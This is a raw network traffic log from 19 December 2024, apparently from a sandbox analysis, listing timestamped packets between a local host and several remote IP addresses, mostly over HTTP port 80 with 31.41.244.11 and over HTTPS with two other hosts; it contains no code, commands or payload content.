Dec 19, 2024 16:10:26.123497009 CET	49880	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.123519897 CET	49879	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.171324015 CET	443	49879	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.171330929 CET	443	49880	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.190460920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.190510988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.190561056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.190587044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.194781065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.194844007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.262408972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.262464046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.262572050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.266669035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.266705036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.266796112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.274935007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.274971962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.275073051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.283406019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.283454895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.283559084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.291800022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.291955948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.292025089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.300168991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.300251007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.300586939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.300637007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.308604002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.308666945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.308739901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.308785915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.317344904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.317411900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.317435980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.317477942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.325375080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.325444937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.325450897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.325488091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.333720922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.333787918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.333842039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.333885908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.341397047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.341464996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.341486931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.341548920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.455056906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.455149889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.455190897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.455223083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.457364082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.457410097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.457417011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.457458019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.461926937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.461997986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.462069035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.462110996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.466855049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.466911077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.466989040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.467061043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.471407890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.471476078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.471483946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.471529961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.476192951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.476231098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.476255894 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.476274014 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.480765104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.480801105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.480830908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.480856895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.485445023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.485501051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.485517979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.485562086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.490154982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.490226030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.490228891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.490262985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.494757891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.494807005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.494899988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.494982958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.499453068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.499507904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.499547005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.499588966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.504137039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.504218102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.504245996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.504287958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.508744955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.508802891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.508817911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.508853912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.513530970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.513606071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.513613939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.513653040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.518218994 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.518269062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.518351078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.518399954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.522797108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.522838116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.522867918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.522905111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.527467966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.527518988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.527553082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.527601004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.532191038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.532236099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.532239914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.532273054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.536823988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.536873102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.536875010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.536940098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.541448116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.541496038 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.541567087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.541606903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.546180964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.546231985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.546344995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.546401024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.551408052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.551472902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.647789955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.647860050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.647965908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.648185968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.649724007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.649774075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.649848938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.650108099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.653697968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.653721094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.653784037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.657337904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.657401085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.657474995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.657661915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.661137104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.661196947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.661382914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.661869049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.664997101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.665046930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.665055037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.665087938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.668462038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.668529034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.668561935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.669271946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.671947002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.672034025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.672095060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.675452948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.675499916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.675513983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.675571918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.678930044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.679009914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.679058075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.682363987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.682472944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.682626963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.685775995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.685831070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.686131954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.686181068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.689215899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.689251900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.689280987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.689306021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.692615986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.692763090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.692832947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.696063042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.696110964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.696120024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.696152925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.699484110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.699553013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.699635983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.699870110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.703001022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.703027964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.703073978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.706414938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.706491947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.706551075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.707452059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.710175037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.710190058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.710259914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.713366032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.713433981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.713622093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.713681936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.716903925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.717008114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.717052937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.717052937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.719934940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.719995975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.720000029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.720038891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.723320961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.723375082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.723445892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.723480940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.726799965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.726813078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.726877928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.730272055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.730433941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.730434895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.730695009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.733143091 CET	443	49880	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.733237982 CET	443	49880	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.733314037 CET	49880	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.733333111 CET	443	49880	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.733355045 CET	443	49880	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.733390093 CET	49880	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.733473063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.733516932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.733561039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.733738899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.737236023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.737324953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.737390041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.738914013 CET	49880	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.740362883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.740412951 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.740488052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.740525961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.743813038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.743854046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.743953943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.744093895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.746007919 CET	443	49879	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.746093988 CET	443	49879	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.746141911 CET	49879	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.746157885 CET	443	49879	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.746184111 CET	443	49879	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.746218920 CET	49879	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.746684074 CET	49879	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.747206926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.747260094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.747344017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.749491930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.750606060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.750650883 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.750721931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.750771999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.754125118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.754203081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.754245043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.754302025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.757452011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.757519960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.757656097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.757776976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.839554071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.839766026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.839883089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.841751099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.841877937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.841928005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.843811989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.843975067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.844018936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.846393108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.846436977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.846509933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.852755070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.852931023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.853013039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.853034019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.853053093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.853080034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.853121042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.854619026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.854717016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.854773998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.856916904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.857270956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.857326984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.859438896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.859611034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.859668016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.861984968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.862040043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.862040997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.862262964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.864376068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.864486933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.864537954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.866763115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.867017984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.867073059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.869203091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.869333982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.869385958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.871444941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.871499062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.871524096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.871553898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.874032974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.874058962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.874119043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.874145031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.876235962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.876310110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.876351118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.876391888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.878487110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.878520012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.878671885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.879323006 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:26.879323959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.879336119 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:26.879364014 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:26.879381895 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:26.879524946 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:26.879534006 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:26.879818916 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:26.879832029 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:26.879858971 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:26.879868031 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:26.880626917 CET	80	49881	31.41.244.11	192.168.2.6
